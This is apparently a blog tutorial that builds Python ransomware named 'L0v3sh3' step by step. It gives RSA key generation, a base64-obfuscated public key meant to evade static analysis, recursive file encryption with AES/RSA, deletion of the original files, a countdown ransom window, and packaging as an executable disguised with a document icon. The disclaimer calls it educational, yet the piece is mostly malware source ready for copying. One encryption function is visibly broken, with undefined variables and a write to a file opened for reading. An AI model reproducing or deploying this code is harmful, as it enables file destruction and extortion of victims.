Disclaimer:
This tutorial is just for educational purposes, don’t try to break any computer except yours. If you try to make real ransomware, you are breaking the law and you are going to jail.
Today I will explain to you how to make ransomware and how it works with the python language.
What is ransomware?
It’s like other malicious software or computer viruses, but with one purpose to encrypt your data and make a ransom for you. Your data is encrypted with asymmetric encryption, and the virus just encrypts with the public key. There is a private key to decrypt your data back, but you know that an attacker will not attach the private key to the virus.
Discover: How to Create Malware in Python Practically
Prepare for making ransomware
Before you build some program, you must know about what it will be and what it will do. Here is my checklist, and you can use your own checklist.
- The program should be an executable file and the icon like a document file.
- The program must encrypt data with the public key
- After encryption, the program must remove the original files and change the encrypted file extension with “.L0v3sh3”, Haha. I like this extension
- The program must show a pop-up message with a countdown timer.
Develop the program
Step 1 — Generate Private & Public Key
'''
pip install pycryptodome
'''
from Crypto.PublicKey import RSA
key = RSA.generate(2048)
privateKey = key.export_key()
publicKey = key.publickey().export_key()
# save private key to file
with open('private.pem', 'wb') as f:
f.write(privateKey)
# save public key to file
with open('public.pem', 'wb') as f:
f.write(publicKey)
print('Private key saved to private.pem')
print('Public key saved to public.pem')
print('Done')
After running the genKey.py there are 2 files, private.pem and public.pem.
Save your private.pem securely.
Step 2 — Encode the public key
The main purpose of encoding is to make the public key hard to identify with static malware analysis.
So, I encode the public key with base64 and attach that to my code.
In the python script you can use this script:
import base64code = "aGkgZnJpZW5kcywgdGhpcyBpcyBiYXNlNjQgZW5jb2Rpbmc="
print(base64.b64decode(code))
So, you can encode your private key, then decode it in the python script.
import base64with open('public.pem', 'rb') as f:
public = f.read()print(base64.b64encode(public))
Step 3 — A python script to encrypt some files in the directory
The idea I got from my last article about organizing files with python.
def scanRecurse(baseDir):
for entry in os.scandir(baseDir):
if entry.is_file():
yield entry
else:
yield from scanRecurse(entry.path)
The function above is a recursive function for scanning directories and getting a bunch of files listed with paths. Then, we use the encryption function and run it with our file list before. Here is the test function to make sure that the function is working.
import base64
import os
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP, AES
'''
with open('public.pem', 'rb') as f:
public = f.read()
print(base64.b64encode(public))
'''
# public key with base64 encoding
pubKey = '''LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFxZUs0TkppUGlaQ1o0aDRwM2lzNwpyOTdTRGRnaWtrckswNE1sc3oraHY2UmIxKzB2M1hsY296QXVGeGIvMjkxTE5tNGs1M1RZTXQ4M3BPRm9ZRTh4Ckx0VE55UVNSMDR2dzBGcGRwU3Y1YVVjbysxRmtwRjRMdCtqV1Q0YjVrTUFqWTRkOW5Yb3lRQmxJbzBWckMwQzIKcldpeklONGV1TXBTbll3V2Z0a2JsZE5qcDJ1U0hFeWM1Z0FZR1ZKSWZ6TVRiaUxZd0k5aU9rNllnWEozbWJLdAp1dHo2WlRTdlplVzEwaUhrc2JXUXgvcUVjR0JLWFJUbkUvYTJkZVhvRThRaFZOTUV5Z0xVQmF3NERYaWRCbXBiCnFmSWtvZk5UWlQ3K2NyaENocVptYmFrSjA5bTdmT3k1TURud0oraU0wdlBheW1tdGduWnBrR0NQNlpDVDlkeHoKcHdJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0t'''
pubKey = base64.b64decode(pubKey)
def scanRecurse(baseDir):
'''
Scan a directory and return a list of all files
return: list of files
'''
for entry in os.scandir(baseDir):
if entry.is_file():
yield entry
else:
yield from scanRecurse(entry.path)
def encrypt(dataFile, publicKey):
'''
use EAX mode to allow detection of unauthorized modifications
'''
# read data from file
with open(dataFile, 'rb') as f:
data = f.read()
# convert data to bytes
data = bytes(data)
# create public key object
key = RSA.import_key(publicKey)
sessionKey = os.urandom(16)
# encrypt the session key with the public key
cipher = PKCS1_OAEP.new(key)
encryptedSessionKey = cipher.encrypt(sessionKey)
# encrypt the data with the session key
cipher = AES.new(sessionKey, AES.MODE_EAX)
ciphertext, tag = cipher.encrypt_and_digest(data)
# save the encrypted data to file
[ fileName, fileExtension ] = dataFile.split('.')
encryptedFile = fileName + '_encrypted.' + fileExtension
with open(encryptedFile, 'wb') as f:
[ f.write(x) for x in (encryptedSessionKey, cipher.nonce, tag, ciphertext) ]
print('Encrypted file saved to ' + encryptedFile)
fileName = 'test.txt'
encrypt(fileName, pubKey)
And for the decrypt function, you can use my script before.
Let’s scan the file, encrypt that, and then change the extension.
import base64
import os
from pathlib import Path
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP, AES
# public key with base64 encoding
pubKey = '''LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFxZUs0TkppUGlaQ1o0aDRwM2lzNwpyOTdTRGRnaWtrckswNE1sc3oraHY2UmIxKzB2M1hsY296QXVGeGIvMjkxTE5tNGs1M1RZTXQ4M3BPRm9ZRTh4Ckx0VE55UVNSMDR2dzBGcGRwU3Y1YVVjbysxRmtwRjRMdCtqV1Q0YjVrTUFqWTRkOW5Yb3lRQmxJbzBWckMwQzIKcldpeklONGV1TXBTbll3V2Z0a2JsZE5qcDJ1U0hFeWM1Z0FZR1ZKSWZ6TVRiaUxZd0k5aU9rNllnWEozbWJLdAp1dHo2WlRTdlplVzEwaUhrc2JXUXgvcUVjR0JLWFJUbkUvYTJkZVhvRThRaFZOTUV5Z0xVQmF3NERYaWRCbXBiCnFmSWtvZk5UWlQ3K2NyaENocVptYmFrSjA5bTdmT3k1TURud0oraU0wdlBheW1tdGduWnBrR0NQNlpDVDlkeHoKcHdJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0t'''
pubKey = base64.b64decode(pubKey)
def scanRecurse(baseDir):
'''
Scan a directory and return a list of all files
return: list of files
'''
for entry in os.scandir(baseDir):
if entry.is_file():
yield entry
else:
yield from scanRecurse(entry.path)
def encrypt(dataFile, publicKey):
'''
Input: path to file to encrypt, public key
Output: encrypted file with extension .L0v3sh3 and remove original file
use EAX mode to allow detection of unauthorized modifications
'''
# read data from file
extension = dataFile.suffix.lower()
dataFile = str(dataFile)
with open(dataFile, 'rb') as f:
[ f.write(x) for x in (encryptedSessionKey, cipher.nonce, tag, ciphertext) ]
os.remove(dataFile)
# change directory to the directory of the script
# keep secure of changing the directory,
# DONT RUN THIS SCRIPT ON YOUR PC
directory = '../' # CHANGE THIS
excludeExtension = ['.py','.pem', '.exe'] # CHANGE THIS
for item in scanRecurse(directory):
filePath = Path(item)
fileType = filePath.suffix.lower()
if fileType in excludeExtension:
continue
encrypt(filePath, pubKey)
For the testing, I wanna use the parent of this program’s directory for scanning and encrypting with this script.
Here is my directory before running malware:
Here is my directory after running malware:
We were able to make a python program for encrypting files and changing file extensions.
Step 4 — Countdown and message after encrypting done
Just copy my script and paste it into the end of the malware script.
import tkinter as tk
def countdown(count):
# change text in label
# count = '01:30:00'
hour, minute, second = count.split(':')
hour = int(hour)
minute = int(minute)
second = int(second)
label['text'] = '{}:{}:{}'.format(hour, minute, second)
if second > 0 or minute > 0 or hour > 0:
# call countdown again after 1000ms (1s)
if second > 0:
second -= 1
elif minute > 0:
minute -= 1
second = 59
elif hour > 0:
hour -= 1
minute = 59
second = 59
root.after(1000, countdown, '{}:{}:{}'.format(hour, minute, second))
root = tk.Tk()
root.title('L0v3sh3 Ransomware')
root.geometry('500x300')
root.resizable(False, False)
label1 = tk.Label(root, text='Your data is under rest, please don\'t pay me,\nthis just simulation !!\n\n', font=('calibri', 12,'bold'))
label1.pack()
label = tk.Label(root,font=('calibri', 50,'bold'), fg='white', bg='blue')
label.pack()
# call countdown first time
countdown('01:30:00')
# root.after(0, countdown, 5)
root.mainloop()
Final step — Build an executable file with auto-py-to-exe
I can’t explain more to you, but you could read this article, https://dev.to/eshleron/how-to-convert-py-to-exe-step-by-step-guide-3cfi
That’s a very detailed explanation.
BONUS
Here is my full script, just copy it but don’t forget to understand what you write.
https://github.com/febimudiyanto/python-project/tree/main/simple-ransomware
Launch the Ransomware
Apologies for my typo in the countdown timer :D
Conclusion
This is a scary project, right?
Be careful when you execute the program, make sure you change the directory and try it in your Virtual Machine/Lab.
With my program you could modify for the reverse, decrypting the .L0v3sh3 files. Just change the encrypt function with decrypt with some logic.
For mitigation, this ransomware has Never trusted the file. If you are using Windows as your Operating System, always turn on the extension view so you can differentiate which executable file or document file.
Thanks for reading.
UPDATE
If you search for decrypting the encrypted file, please look at my github above (at the BONUS session).
I also put the private and public key, and decryptor.py to make it easier for you.
More Python Project